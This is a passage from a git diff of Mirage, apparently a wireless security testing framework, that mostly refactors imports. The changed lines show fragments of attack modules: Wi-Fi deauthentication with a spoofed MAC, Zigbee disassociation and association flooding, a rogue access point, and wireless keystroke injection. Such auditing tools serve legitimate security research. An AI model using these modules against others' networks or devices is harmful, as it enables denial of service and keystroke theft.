esb_info(module.WirelessModule): def init(self): diff --git a/mirage/modules/esb_inject.py b/mirage/modules/esb_inject.py index ef1a234..b2cec3d 100644 --- a/mirage/modules/esb_inject.py +++ b/mirage/modules/esb_inject.py @@ -1,5 +1,5 @@ -from mirage.libs import esb,utils,io from mirage.core import module +from mirage.libs import io, utils class esb_inject(module.WirelessModule): diff --git a/mirage/modules/esb_prx.py b/mirage/modules/esb_prx.py index 1c11f76..ac515be 100644 --- a/mirage/modules/esb_prx.py +++ b/mirage/modules/esb_prx.py @@ -1,7 +1,10 @@ -import subprocess,sys -from mirage.libs import io,utils,esb,wireless -from mirage.core import module,interpreter -from threading import Lock +import subprocess +import sys + +from mirage.core import interpreter, module +from mirage.libs import io, utils +from mirage.libs.esb_utils.packets import ESBAckResponsePacket + class esb_prx(module.WirelessModule, interpreter.Interpreter): def init(self): @@ -124,7 +127,7 @@ def send(self,payloads="0f0f0f0f"): for payload in payloads.split(","): try: esbPayload = bytes.fromhex(payload) - self.emitter.sendp(esb.ESBAckResponsePacket(address=self.target,payload=esbPayload)) + self.emitter.sendp(ESBAckResponsePacket(address=self.target,payload=esbPayload)) except ValueError: io.fail("You must specify an hexadecimal payload.") diff --git a/mirage/modules/esb_ptx.py b/mirage/modules/esb_ptx.py index fed982c..4ccae25 100644 --- a/mirage/modules/esb_ptx.py +++ b/mirage/modules/esb_ptx.py @@ -1,8 +1,12 @@ -import subprocess,sys -from mirage.libs import io,utils,esb,wireless -from mirage.core import module,interpreter +import subprocess from threading import Lock +from mirage.core import interpreter, module +from mirage.libs import io, utils +from mirage.libs.esb_utils.packets import ESBPacket, ESBPingRequestPacket +from mirage.libs.wireless_utils.packetQueue import StoppableThread + + class esb_ptx(module.WirelessModule, interpreter.Interpreter): def init(self): @@ -93,7 +97,7 @@ def send(self,payloads="0f0f0f0f"): for payload in payloads.split(","): try: esbPayload = bytes.fromhex(payload) - self.emitter.sendp(esb.ESBPacket(address=self.target,payload=esbPayload)) + self.emitter.sendp(ESBPacket(address=self.target,payload=esbPayload)) found = False start = utils.now() while utils.now() - start < 1: @@ -129,7 +133,7 @@ def channel(self,newChannel=""): def _pingPRX(self): utils.wait(seconds=1) self.ackLock.acquire() - self.emitter.sendp(esb.ESBPingRequestPacket(address=self.target)) + self.emitter.sendp(ESBPingRequestPacket(address=self.target)) found = False start = utils.now() while utils.now() - start < 1: @@ -148,7 +152,7 @@ def _pingPRX(self): def startFollowing(self): if self.checkActiveScanningCapabilities(): - self.followThread = wireless.StoppableThread(self._pingPRX) + self.followThread = StoppableThread(self._pingPRX) self.followThread.start() return True else: diff --git a/mirage/modules/esb_scan.py b/mirage/modules/esb_scan.py index 7921093..bc76f47 100644 --- a/mirage/modules/esb_scan.py +++ b/mirage/modules/esb_scan.py @@ -1,7 +1,9 @@ -from mirage.libs import esb,utils,io -from mirage.core import module import sys +from mirage.core import module +from mirage.libs import io, utils + + class esb_scan(module.WirelessModule): def init(self): self.technology = "esb" diff --git a/mirage/modules/esb_sniff.py b/mirage/modules/esb_sniff.py index c5c4543..341da74 100644 --- a/mirage/modules/esb_sniff.py +++ b/mirage/modules/esb_sniff.py @@ -1,7 +1,10 @@ -from mirage.libs import esb,utils,io -from mirage.core import module import configparser +from mirage.core import module +from mirage.libs import io, utils +from mirage.libs.esb_utils.packets import ESBAckResponsePacket + + class esb_sniff(module.WirelessModule): def init(self): self.technology = "esb" @@ -39,7 +42,7 @@ def addMouseData(self,packet): self.miceDatas.append({"x":packet.x, "y":packet.y, "rightClick":packet.button == "right","leftClick":packet.button == "left"}) def show(self,packet): - if utils.booleanArg(self.args["ACK_PACKETS"]) or (not utils.booleanArg(self.args["ACK_PACKETS"]) and not isinstance(packet,esb.ESBAckResponsePacket)): + if utils.booleanArg(self.args["ACK_PACKETS"]) or (not utils.booleanArg(self.args["ACK_PACKETS"]) and not isinstance(packet,ESBAckResponsePacket)): io.displayPacket(packet) self.lastReceivedFrameTimestamp = utils.now() if self.pcap is not None: diff --git a/mirage/modules/ir_info.py b/mirage/modules/ir_info.py index a66c485..bed3e2e 100644 --- a/mirage/modules/ir_info.py +++ b/mirage/modules/ir_info.py @@ -1,5 +1,6 @@ -from mirage.libs import io,ir,utils from mirage.core import module +from mirage.libs import io, utils + class ir_info(module.WirelessModule): def init(self): diff --git a/mirage/modules/ir_inject.py b/mirage/modules/ir_inject.py index 89bd0c4..fabe9c9 100644 --- a/mirage/modules/ir_inject.py +++ b/mirage/modules/ir_inject.py @@ -1,5 +1,22 @@ -from mirage.libs import ir,utils,io from mirage.core import module +from mirage.libs import io, utils +from mirage.libs.ir_utils.packets import IRAiwaPacket,\ + IRDenonPacket,\ + IRDishPacket,\ + IRJVCPacket,\ + IRLGPacket,\ + IRMitsubishiPacket,\ + IRNECPacket,\ + IRPacket,\ + IRPanasonicPacket,\ + IRRC5Packet,\ + IRRC6Packet,\ + IRSamsungPacket,\ + IRSanyoPacket,\ + IRSharpPacket,\ + IRSonyPacket,\ + IRWhynterPacket + class ir_inject(module.WirelessModule): def init(self): @@ -31,35 +48,35 @@ def run(self): code = self.args["CODE"][2:] code = bytes.fromhex(code) if self.args["PROTOCOL"].upper() == "NEC": - packet = ir.IRNECPacket(code=code, size=utils.integerArg(self.args["CODE_SIZE"])) + packet = IRNECPacket(code=code, size=utils.integerArg(self.args["CODE_SIZE"])) elif self.args["PROTOCOL"].upper() == "SONY": - packet = ir.IRSonyPacket(code=code, size=utils.integerArg(self.args["CODE_SIZE"])) + packet = IRSonyPacket(code=code, size=utils.integerArg(self.args["CODE_SIZE"])) elif self.args["PROTOCOL"].upper() == "RC5": - packet = ir.IRRC5Packet(code=code, size=utils.integerArg(self.args["CODE_SIZE"])) + packet = IRRC5Packet(code=code, size=utils.integerArg(self.args["CODE_SIZE"])) elif self.args["PROTOCOL"].upper() == "RC6": - packet = ir.IRRC6Packet(code=code, size=utils.integerArg(self.args["CODE_SIZE"])) + packet = IRRC6Packet(code=code, size=utils.integerArg(self.args["CODE_SIZE"])) elif self.args["PROTOCOL"].upper() == "DISH": - packet = ir.IRDishPacket(code=code, size=utils.integerArg(self.args["CODE_SIZE"])) + packet = IRDishPacket(code=code, size=utils.integerArg(self.args["CODE_SIZE"])) elif self.args["PROTOCOL"].upper() == "SHARP": - packet = ir.IRSharpPacket(code=code, size=utils.integerArg(self.args["CODE_SIZE"])) + packet = IRSharpPacket(code=code, size=utils.integerArg(self.args["CODE_SIZE"])) elif self.args["PROTOCOL"].upper() == "JVC": - packet = ir.IRJVCPacket(code=code, size=utils.integerArg(self.args["CODE_SIZE"])) + packet = IRJVCPacket(code=code, size=utils.integerArg(self.args["CODE_SIZE"])) elif self.args["PROTOCOL"].upper() == "SANYO": - packet = ir.IRSanyoPacket(code=code, size=utils.integerArg(self.args["CODE_SIZE"])) + packet = IRSanyoPacket(code=code, size=utils.integerArg(self.args["CODE_SIZE"])) elif self.args["PROTOCOL"].upper() == "MITSUBISHI": - packet = ir.IRMitsubishiPacket(code=code, size=utils.integerArg(self.args["CODE_SIZE"])) + packet = IRMitsubishiPacket(code=code, size=utils.integerArg(self.args["CODE_SIZE"])) elif self.args["PROTOCOL"].upper() == "SAMSUNG": - packet = ir.IRSamsungPacket(code=code, size=utils.integerArg(self.args["CODE_SIZE"])) + packet = IRSamsungPacket(code=code, size=utils.integerArg(self.args["CODE_SIZE"])) elif self.args["PROTOCOL"].upper() == "LG": - packet = ir.IRLGPacket(code=code, size=utils.integerArg(self.args["CODE_SIZE"])) + packet = IRLGPacket(code=code, size=utils.integerArg(self.args["CODE_SIZE"])) elif self.args["PROTOCOL"].upper() == "WHYNTER": - packet = ir.IRWhynterPacket(code=code, size=utils.integerArg(self.args["CODE_SIZE"])) + packet = IRWhynterPacket(code=code, size=utils.integerArg(self.args["CODE_SIZE"])) elif self.args["PROTOCOL"].upper() == "AIWA": - packet = ir.IRAiwaPacket(code=code, size=utils.integerArg(self.args["CODE_SIZE"])) + packet = IRAiwaPacket(code=code, size=utils.integerArg(self.args["CODE_SIZE"])) elif self.args["PROTOCOL"].upper() == "PANASONIC": - packet = ir.IRPanasonicPacket(code=code, size=utils.integerArg(self.args["CODE_SIZE"])) + packet = IRPanasonicPacket(code=code, size=utils.integerArg(self.args["CODE_SIZE"])) elif self.args["PROTOCOL"].upper() == "DENON": - packet = ir.IRDenonPacket(code=code, size=utils.integerArg(self.args["CODE_SIZE"])) + packet = IRDenonPacket(code=code, size=utils.integerArg(self.args["CODE_SIZE"])) else: io.fail("Unknown protocol !") return self.nok() @@ -71,7 +88,7 @@ def run(self): elif self.args["DATA"] != "": data = [int(i) for i in utils.listArg(self.args["DATA"])] - packet = ir.IRPacket(data=data) + packet = IRPacket(data=data) io.info("Injecting ...") self.emitter.sendp(packet) diff --git a/mirage/modules/ir_sniff.py b/mirage/modules/ir_sniff.py index a85dc99..df0268d 100644 --- a/mirage/modules/ir_sniff.py +++ b/mirage/modules/ir_sniff.py @@ -1,5 +1,6 @@ -from mirage.libs import ir,utils from mirage.core import module +from mirage.libs import utils +from mirage.libs.io import fail class ir_sniff(module.WirelessModule): @@ -62,5 +63,5 @@ def run(self): output = self.generateOutput() return self.ok(output) else: - io.fail("Interface provided ("+str(self.args["INTERFACE"])+") is not able to sniff IR signals.") + fail("Interface provided ("+str(self.args["INTERFACE"])+") is not able to sniff IR signals.") return self.nok() diff --git a/mirage/modules/mosart_info.py b/mirage/modules/mosart_info.py index e910499..0a96ae5 100644 --- a/mirage/modules/mosart_info.py +++ b/mirage/modules/mosart_info.py @@ -1,5 +1,6 @@ -from mirage.libs import io,mosart,utils from mirage.core import module +from mirage.libs import io, utils + class mosart_info(module.WirelessModule): def init(self): diff --git a/mirage/modules/mosart_inject.py b/mirage/modules/mosart_inject.py index 207501d..6c5331d 100644 --- a/mirage/modules/mosart_inject.py +++ b/mirage/modules/mosart_inject.py @@ -1,5 +1,5 @@ -from mirage.libs import mosart,utils,io,wireless from mirage.core import module +from mirage.libs import io, utils class mosart_inject(module.WirelessModule): diff --git a/mirage/modules/mosart_keyinjector.py b/mirage/modules/mosart_keyinjector.py index 92f0216..96fbe5a 100644 --- a/mirage/modules/mosart_keyinjector.py +++ b/mirage/modules/mosart_keyinjector.py @@ -1,7 +1,9 @@ -from mirage.libs import mosart,utils,io,wireless -from mirage.libs.common.parsers import DuckyScriptParser -from mirage.libs.common.hid import HIDMapping from mirage.core import module +from mirage.libs import io, utils +from mirage.libs.common.hid import HIDMapping +from mirage.libs.common.parsers import DuckyScriptParser +from mirage.libs.mosart_utils.packets import MosartKeyboardKeystrokePacket +from mirage.libs.wireless_utils.packets import WaitPacket class mosart_keyinjector(module.WirelessModule): @@ -35,22 +37,22 @@ def addMosartKeystroke(self,locale="fr",key="a",ctrl=False, alt=False, gui=False hid,mod = HIDMapping(locale=locale).getHIDCodeFromKey(key=key) if mod == 0: - keystrokes.append(mosart.MosartKeyboardKeystrokePacket(sequenceNumber=self.counter,address=self.args["TARGET"],hidCode=hid,modifiers=0,state="pressed")) - keystrokes.append(mosart.MosartKeyboardKeystrokePacket(sequenceNumber=self.counter,address=self.args["TARGET"],hidCode=hid,modifiers=0,state="pressed")) + keystrokes.append(MosartKeyboardKeystrokePacket(sequenceNumber=self.counter,address=self.args["TARGET"],hidCode=hid,modifiers=0,state="pressed")) + keystrokes.append(MosartKeyboardKeystrokePacket(sequenceNumber=self.counter,address=self.args["TARGET"],hidCode=hid,modifiers=0,state="pressed")) self.counter = self.counter + 1 if self.counter + 1 <= 15 else 0 else: - keystrokes.append(mosart.MosartKeyboardKeystrokePacket(sequenceNumber=self.counter,address=self.args["TARGET"],hidCode=0,modifiers=mod,state="pressed")) - keystrokes.append(mosart.MosartKeyboardKeystrokePacket(sequenceNumber=self.counter,address=self.args["TARGET"],hidCode=0,modifiers=mod,state="pressed")) - keystrokes.append(mosart.MosartKeyboardKeystrokePacket(sequenceNumber=self.counter,address=self.args["TARGET"],hidCode=hid,modifiers=0,state="pressed")) - keystrokes.append(mosart.MosartKeyboardKeystrokePacket(sequenceNumber=self.counter,address=self.args["TARGET"],hidCode=hid,modifiers=0,state="pressed")) + keystrokes.append(MosartKeyboardKeystrokePacket(sequenceNumber=self.counter,address=self.args["TARGET"],hidCode=0,modifiers=mod,state="pressed")) + keystrokes.append(MosartKeyboardKeystrokePacket(sequenceNumber=self.counter,address=self.args["TARGET"],hidCode=0,modifiers=mod,state="pressed")) + keystrokes.append(MosartKeyboardKeystrokePacket(sequenceNumber=self.counter,address=self.args["TARGET"],hidCode=hid,modifiers=0,state="pressed")) + keystrokes.append(MosartKeyboardKeystrokePacket(sequenceNumber=self.counter,address=self.args["TARGET"],hidCode=hid,modifiers=0,state="pressed")) self.counter = self.counter + 1 if self.counter + 1 <= 15 else 0 - keystrokes.append(mosart.MosartKeyboardKeystrokePacket(sequenceNumber=self.counter,address=self.args["TARGET"],hidCode=hid,modifiers=0,state="released")) - keystrokes.append(mosart.MosartKeyboardKeystrokePacket(sequenceNumber=self.counter,address=self.args["TARGET"],hidCode=hid,modifiers=0,state="released")) - keystrokes.append(mosart.MosartKeyboardKeystrokePacket(sequenceNumber=self.counter,address=self.args["TARGET"],hidCode=0,modifiers=mod,state="released")) - keystrokes.append(mosart.MosartKeyboardKeystrokePacket(sequenceNumber=self.counter,address=self.args["TARGET"],hidCode=0,modifiers=mod,state="released")) - keystrokes.append(wireless.WaitPacket(time=0.4)) + keystrokes.append(MosartKeyboardKeystrokePacket(sequenceNumber=self.counter,address=self.args["TARGET"],hidCode=hid,modifiers=0,state="released")) + keystrokes.append(MosartKeyboardKeystrokePacket(sequenceNumber=self.counter,address=self.args["TARGET"],hidCode=hid,modifiers=0,state="released")) + keystrokes.append(MosartKeyboardKeystrokePacket(sequenceNumber=self.counter,address=self.args["TARGET"],hidCode=0,modifiers=mod,state="released")) + keystrokes.append(MosartKeyboardKeystrokePacket(sequenceNumber=self.counter,address=self.args["TARGET"],hidCode=0,modifiers=mod,state="released")) + keystrokes.append(WaitPacket(time=0.4)) self.counter = self.counter + 1 if self.counter + 1 <= 15 else 0 return keystrokes @@ -65,7 +67,7 @@ def startMosartInjection(self): def addMosartDelay(self,duration=1000): keystrokes = [] - keystrokes.append(wireless.WaitPacket(time=0.0001*duration)) + keystrokes.append(WaitPacket(time=0.0001*duration)) return keystrokes diff --git a/mirage/modules/mosart_keylogger.py b/mirage/modules/mosart_keylogger.py index 71ac8c7..bbc80bc 100644 --- a/mirage/modules/mosart_keylogger.py +++ b/mirage/modules/mosart_keylogger.py @@ -1,6 +1,6 @@ -from mirage.libs import mosart,utils,io -from mirage.libs.common.hid import HIDMapping from mirage.core import module +from mirage.libs import io, utils +from mirage.libs.common.hid import HIDMapping class mosart_keylogger(module.WirelessModule): diff --git a/mirage/modules/mosart_scan.py b/mirage/modules/mosart_scan.py index 92dbaef..e122deb 100644 --- a/mirage/modules/mosart_scan.py +++ b/mirage/modules/mosart_scan.py @@ -1,7 +1,9 @@ -from mirage.libs import mosart,utils,io -from mirage.core import module import sys +from mirage.core import module +from mirage.libs import io, utils + + class mosart_scan(module.WirelessModule): def init(self): self.technology = "mosart" diff --git a/mirage/modules/mosart_sniff.py b/mirage/modules/mosart_sniff.py index a4bffd3..55cac99 100644 --- a/mirage/modules/mosart_sniff.py +++ b/mirage/modules/mosart_sniff.py @@ -1,7 +1,10 @@ -from mirage.libs import mosart,utils,io -from mirage.core import module import configparser +from mirage.core import module +from mirage.libs import io, utils +from mirage.libs.mosart_utils.packets import MosartMouseClickPacket, MosartMouseMovementPacket + + class mosart_sniff(module.WirelessModule): def init(self): self.technology = "mosart" @@ -25,9 +28,9 @@ def checkSniffingCapabilities(self): def show(self,packet): packet.show() - if isinstance(packet,mosart.MosartMouseMovementPacket): + if isinstance(packet,MosartMouseMovementPacket): self.miceDatas.append({"x":packet.x1, "y":-packet.y1, "rightClick":False,"leftClick":False}) - elif isinstance(packet,mosart.MosartMouseClickPacket): + elif isinstance(packet,MosartMouseClickPacket): self.miceDatas.append({"x":0, "y":0, "rightClick":packet.button == "right" and packet.state == "down","leftClick":packet.button == "left" and packet.state == "down"}) if self.pcap is not None: self.pcap.sendp(packet) diff --git a/mirage/modules/mouse_visualizer.py b/mirage/modules/mouse_visualizer.py index 02a28b0..0cef91a 100644 --- a/mirage/modules/mouse_visualizer.py +++ b/mirage/modules/mouse_visualizer.py @@ -1,7 +1,9 @@ -from mirage.libs import utils,io -from mirage.core import module import configparser +from mirage.core import module +from mirage.libs import io + + class mouse_visualizer(module.Module): def init(self): self.technology = "generic" diff --git a/mirage/modules/wifi_deauth.py b/mirage/modules/wifi_deauth.py index 4b836f4..8512e22 100644 --- a/mirage/modules/wifi_deauth.py +++ b/mirage/modules/wifi_deauth.py @@ -1,6 +1,7 @@ -from scapy.all import * from mirage.core import module -from mirage.libs import utils,io,wifi +from mirage.libs import io, utils +from mirage.libs.wifi_utils.packets import WifiDeauth, WifiDisas + class wifi_deauth(module.WirelessModule): @@ -78,8 +79,8 @@ def run(self): self.emitter.setChannel(utils.integerArg(self.args["CHANNEL"])) # We forge the deauthentication and disassociation packet, while spoofing the client's MAC - self.deauth_packet = wifi.WifiDeauth(destMac=self.target,srcMac=self.source,reason=self.reason) - self.disas_packet = wifi.WifiDisas(destMac=self.target,srcMac=self.source,reason=self.reason) + self.deauth_packet = WifiDeauth(destMac=self.target,srcMac=self.source,reason=self.reason) + self.disas_packet = WifiDisas(destMac=self.target,srcMac=self.source,reason=self.reason) self.send_deauth() diff --git a/mirage/modules/wifi_info.py b/mirage/modules/wifi_info.py index d163a8c..475a7f6 100644 --- a/mirage/modules/wifi_info.py +++ b/mirage/modules/wifi_info.py @@ -1,5 +1,6 @@ -from mirage.libs import io,wifi,utils from mirage.core import module +from mirage.libs import io, utils + class wifi_info(module.WirelessModule): def init(self): diff --git a/mirage/modules/wifi_rogueap.py b/mirage/modules/wifi_rogueap.py index 231a9e9..6fd4005 100644 --- a/mirage/modules/wifi_rogueap.py +++ b/mirage/modules/wifi_rogueap.py @@ -1,5 +1,7 @@ -from mirage.libs import io,utils,wifi from mirage.core import module +from mirage.libs import io, utils +from mirage.libs.wifi_utils.packets import WifiBeacon, WifiProbeResponse + class wifi_rogueap(module.WirelessModule): def init(self): @@ -18,7 +20,7 @@ def checkCapabilities(self): return self.emitter.hasCapabilities("COMMUNICATING_AS_ACCESS_POINT","MONITORING") def probeResponse(self,packet): - self.emitter.sendp(wifi.WifiProbeResponse(destMac = packet.srcMac,beaconInterval=100, SSID = self.args["SSID"],cypher=self.args["CYPHER"])) + self.emitter.sendp(WifiProbeResponse(destMac = packet.srcMac,beaconInterval=100, SSID = self.args["SSID"],cypher=self.args["CYPHER"])) io.info("Incoming Probe Request from : "+packet.srcMac) io.info("Answering...") @@ -30,7 +32,7 @@ def run(self): self.emitter.setChannel(utils.integerArg(self.args["CHANNEL"])) while True: - self.emitter.sendp(wifi.WifiBeacon(SSID=self.args["SSID"],cypher=self.args["CYPHER"])) + self.emitter.sendp(WifiBeacon(SSID=self.args["SSID"],cypher=self.args["CYPHER"])) utils.wait(seconds=0.1) return self.ok() else: diff --git a/mirage/modules/wifi_scan.py b/mirage/modules/wifi_scan.py index f166f65..930d6fb 100644 --- a/mirage/modules/wifi_scan.py +++ b/mirage/modules/wifi_scan.py @@ -1,6 +1,9 @@ import queue -from mirage.libs import io,wifi,utils + from mirage.core import module +from mirage.libs import io, utils +from mirage.libs.wifi_utils.packets import WifiBeacon, WifiProbeRequest, WifiProbeResponse + class wifi_scan(module.WirelessModule): def init(self): @@ -24,12 +27,12 @@ def checkCapabilities(self): def scan(self,packet): - if isinstance(packet,wifi.WifiProbeResponse) or isinstance(packet,wifi.WifiBeacon): + if isinstance(packet,WifiProbeResponse) or isinstance(packet,WifiBeacon): ssid = packet.SSID address = packet.srcMac channel = packet.channel self.accessPointsQueue.put({"ssid":ssid,"address":address,"channel":channel}) - elif isinstance(packet,wifi.WifiProbeRequest): + elif isinstance(packet,WifiProbeRequest): address = packet.srcMac channel = packet.channel self.stationsQueue.put({"address":address,"channel":channel}) @@ -125,7 +128,7 @@ def run(self): for i in range(utils.integerArg(self.args['TIME'])): self.receiver.setChannel(channel+1) - self.emitter.sendp(wifi.WifiProbeRequest(srcMac = 'FF:FF:FF:FF:FF:FF', destMac= 'FF:FF:FF:FF:FF:FF', emitMac = "FF:FF:FF:FF:FF:FF")) + self.emitter.sendp(WifiProbeRequest(srcMac = 'FF:FF:FF:FF:FF:FF', destMac= 'FF:FF:FF:FF:FF:FF', emitMac = "FF:FF:FF:FF:FF:FF")) channel = (channel+1) % 14 utils.wait(seconds=1) if utils.booleanArg(self.args["ACCESS_POINTS"]): diff --git a/mirage/modules/zigbee_deauth.py b/mirage/modules/zigbee_deauth.py index e57e54f..2b845a4 100644 --- a/mirage/modules/zigbee_deauth.py +++ b/mirage/modules/zigbee_deauth.py @@ -1,6 +1,8 @@ -from mirage.libs import zigbee,utils,io from mirage.core import module -import random +from mirage.libs import io, utils +from mirage.libs.zigbee_utils.helpers import addressToString +from mirage.libs.zigbee_utils.packets import ZigbeeDisassociationNotification + class zigbee_deauth(module.WirelessModule): def init(self): @@ -38,7 +40,7 @@ def run(self): else: io.fail("You must specify a target.") return self.nok() - io.info("Target selected: "+zigbee.addressToString(self.target)) + io.info("Target selected: "+addressToString(self.target)) if self.args["SOURCE"] != "": @@ -46,11 +48,11 @@ def run(self): else: io.fail("You must specify a source address.") return self.nok() - io.info("Source selected: "+zigbee.addressToString(self.source)) + io.info("Source selected: "+addressToString(self.source)) self.reason = utils.integerArg(self.args["REASON"]) while True: - self.emitter.sendp(zigbee.ZigbeeDisassociationNotification(destPanID=self.panid, srcAddr=self.source,destAddr=self.target,sequenceNumber=1,reason=self.reason)) + self.emitter.sendp(ZigbeeDisassociationNotification(destPanID=self.panid, srcAddr=self.source,destAddr=self.target,sequenceNumber=1,reason=self.reason)) return self.ok() else: diff --git a/mirage/modules/zigbee_floodassoc.py b/mirage/modules/zigbee_floodassoc.py index 55d6943..557d803 100644 --- a/mirage/modules/zigbee_floodassoc.py +++ b/mirage/modules/zigbee_floodassoc.py @@ -1,7 +1,11 @@ -from mirage.libs import zigbee,utils,io -from mirage.core import module import random +from mirage.core import module +from mirage.libs import io, utils +from mirage.libs.zigbee_utils.helpers import addressToString +from mirage.libs.zigbee_utils.packets import ZigbeeAssociationRequest, ZigbeeBeacon, ZigbeeBeaconRequest, ZigbeeDataRequest + + class zigbee_floodassoc(module.WirelessModule): def init(self): self.technology = "zigbee" @@ -36,19 +40,19 @@ def run(self): io.warning("No target specified, Beacon Requests will be transmitted in order to discover the coordinator...") self.target = None while self.target is None: - self.emitter.sendp(zigbee.ZigbeeBeaconRequest(sequenceNumber=1,destPanID=self.panid,destAddr=0xFFFF)) + self.emitter.sendp(ZigbeeBeaconRequest(sequenceNumber=1,destPanID=self.panid,destAddr=0xFFFF)) pkt = self.receiver.next(timeout=1) - if isinstance(pkt,zigbee.ZigbeeBeacon) and pkt.coordinator and pkt.srcPanID == self.panid: + if isinstance(pkt,ZigbeeBeacon) and pkt.coordinator and pkt.srcPanID == self.panid: self.target = pkt.srcAddr - io.info("Coordinator selected: "+zigbee.addressToString(self.target)) + io.info("Coordinator selected: "+addressToString(self.target)) while True: address = random.randint(0,0xFFFF) - io.info("New address: "+zigbee.addressToString(address)) - self.emitter.sendp(zigbee.ZigbeeAssociationRequest(destPanID=self.panid, destAddr=self.target,srcAddr=address,sequenceNumber=1,deviceType=True,srcPanID=0xFFFF)) - self.emitter.sendp(zigbee.ZigbeeDataRequest(destPanID=self.panid, destAddr=self.target,srcAddr=address,sequenceNumber=2)) + io.info("New address: "+addressToString(address)) + self.emitter.sendp(ZigbeeAssociationRequest(destPanID=self.panid, destAddr=self.target,srcAddr=address,sequenceNumber=1,deviceType=True,srcPanID=0xFFFF)) + self.emitter.sendp(ZigbeeDataRequest(destPanID=self.panid, destAddr=self.target,srcAddr=address,sequenceNumber=2)) utils.wait(seconds=2) return self.ok() else: diff --git a/mirage/modules/zigbee_info.py b/mirage/modules/zigbee_info.py index c4afa8d..bf0cfe9 100644 --- a/mirage/modules/zigbee_info.py +++ b/mirage/modules/zigbee_info.py @@ -1,5 +1,6 @@ -from mirage.libs import io,zigbee,utils from mirage.core import module +from mirage.libs import io, utils + class zigbee_info(module.WirelessModule): def init(self): diff --git a/mirage/modules/zigbee_inject.py b/mirage/modules/zigbee_inject.py index 8d3e86c..73d1727 100644 --- a/mirage/modules/zigbee_inject.py +++ b/mirage/modules/zigbee_inject.py @@ -1,5 +1,5 @@ -from mirage.libs import zigbee,utils,io from mirage.core import module +from mirage.libs import io, utils class zigbee_inject(module.WirelessModule): diff --git a/mirage/modules/zigbee_scan.py b/mirage/modules/zigbee_scan.py index 0ea4a3f..3d8c034 100644 --- a/mirage/modules/zigbee_scan.py +++ b/mirage/modules/zigbee_scan.py @@ -1,7 +1,11 @@ -from mirage.libs import io,zigbee,utils -from mirage.core import module import sys +from mirage.core import module +from mirage.libs import io, utils +from mirage.libs.zigbee_utils.helpers import addressToString +from mirage.libs.zigbee_utils.packets import ZigbeeBeacon, ZigbeeBeaconRequest + + class zigbee_scan(module.WirelessModule): def init(self): self.type = "scan" @@ -27,14 +31,14 @@ def displayDevices(self): nodes = "" for panID,network in self.devices.items(): for node,role in network["nodes"].items(): - nodes += zigbee.addressToString(node)+"("+role+")"+"\n" + nodes += addressToString(node)+"("+role+")"+"\n" networks.append([hex(panID),str(network["channel"]),"yes" if network["associationPermitted"] else ("unknown" if network["associationPermitted"] is None else "no"),nodes[:-1]]) io.chart(columnsNames,networks) def updateDevices(self,packet): changes = 0 - if isinstance(packet,zigbee.ZigbeeBeacon): + if isinstance(packet,ZigbeeBeacon): if packet.srcPanID not in self.devices: changes += 1 self.devices[packet.srcPanID] = {"channel":self.receiver.getChannel(),"associationPermitted":packet.assocPermit,"nodes":{packet.srcAddr:"coordinator" if packet.coordinator else "router"}} @@ -70,14 +74,14 @@ def generateOutput(self): output["NETWORK_ASSOC_PERMIT"+str(networkCount)] = "yes" if network["associationPermitted"] else "no" for node,role in network["nodes"].items(): if role == "coordinator": - output["NETWORK_COORDINATOR"+str(networkCount)] = zigbee.addressToString(node) - output["DEVICE_ADDR"+str(deviceCount)] = zigbee.addressToString(node) + output["NETWORK_COORDINATOR"+str(networkCount)] = addressToString(node) + output["DEVICE_ADDR"+str(deviceCount)] = addressToString(node) output["DEVICE_ROLE"+str(deviceCount)] = role output["DEVICE_CHANNEL"+str(deviceCount)] = str(network["channel"]) output["DEVICE_PANID"+str(deviceCount)] = "0x"+'{:04x}'.format(panID).upper() if deviceCount == 1: - output["TARGET"] = zigbee.addressToString(node) + output["TARGET"] = addressToString(node) output["TARGET_PANID"] = "0x"+'{:04x}'.format(panID).upper() output["CHANNEL"] = str(network["channel"]) @@ -105,7 +109,7 @@ def run(self): io.progress(i,total=numberOfChannels,suffix="Channel: "+(" " if len(str(channels[i]))==1 else "")+str(channels[i])) self.receiver.setChannel(channels[i]) if utils.booleanArg(self.args["ACTIVE"]): - self.emitter.sendp(zigbee.ZigbeeBeaconRequest(sequenceNumber=1,destPanID=0xFFFF,destAddr=0xFFFF)) + self.emitter.sendp(ZigbeeBeaconRequest(sequenceNumber=1,destPanID=0xFFFF,destAddr=0xFFFF)) utils.wait(seconds=0.1) i = (i + 1) % len(channels) diff --git a/mirage/modules/zigbee_sniff.py b/mirage/modules/zigbee_sniff.py index ab500a7..b81fdca 100644 --- a/mirage/modules/zigbee_sniff.py +++ b/mirage/modules/zigbee_sniff.py @@ -1,5 +1,6 @@ -from mirage.libs import zigbee,utils,io from mirage.core import module +from mirage.libs import io, utils +from mirage.libs.zigbee_utils.helpers import convertAddress class zigbee_sniff(module.WirelessModule): @@ -49,7 +50,7 @@ def run(self): if utils.isNumber(self.args["TARGET"]): self.target = utils.integerArg(self.args["TARGET"]) else: - self.target = zigbee.convertAddress(self.args["TARGET"]) + self.target = convertAddress(self.args["TARGET"]) else: self.target = None diff --git a/mirage/scenarios/__init__.py b/mirage/scenarios/__init__.py index 8635749..d8529f8 100644 --- a/mirage/scenarios/__init__.py +++ b/mirage/scenarios/__init__.py @@ -1,6 +1,7 @@ -import os, sys, imp +import os + from mirage.core.app import App -from mirage.libs.utils import getHomeDir,generateScenariosDictionary +from mirage.libs.utils import generateScenariosDictionary, getHomeDir if App.Instance is not None: # Scenarios Directory diff --git a/mirage/scenarios/keyboard_hid_over_gatt.py b/mirage/scenarios/keyboard_hid_over_gatt.py index a3d6719..ac10003 100644 --- a/mirage/scenarios/keyboard_hid_over_gatt.py +++ b/mirage/scenarios/keyboard_hid_over_gatt.py @@ -1,6 +1,9 @@ from mirage.core import scenario -from mirage.libs import io,ble,bt,utils,wireless +from mirage.libs import io, utils +from mirage.libs.ble_utils.dissectors import HIDoverGATTKeystroke, UUID +from mirage.libs.ble_utils.packets import BLEDisconnect, BLEHandleValueNotification, BLELongTermKeyRequestReply from mirage.libs.common import parsers +from mirage.libs.wireless_utils.packets import WaitPacket REPORT_MAP = bytes.fromhex("05010906a1018501050719e029e7150025019508750181029501750881010507190029ff150025ff950675088100050819012905950575019102950175039101c0") # Problème au niveau des modifiers !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! @@ -8,9 +11,9 @@ class keyboard_hid_over_gatt(scenario.Scenario): def enableAdvertising(self): advertisementServices = ( - ble.UUID(UUID16=0x180F).data[::-1]+ # Battery Service - ble.UUID(UUID16=0x180A).data[::-1]+ # Device Information Service - ble.UUID(UUID16=0x1812).data[::-1] # BLE HID Service + 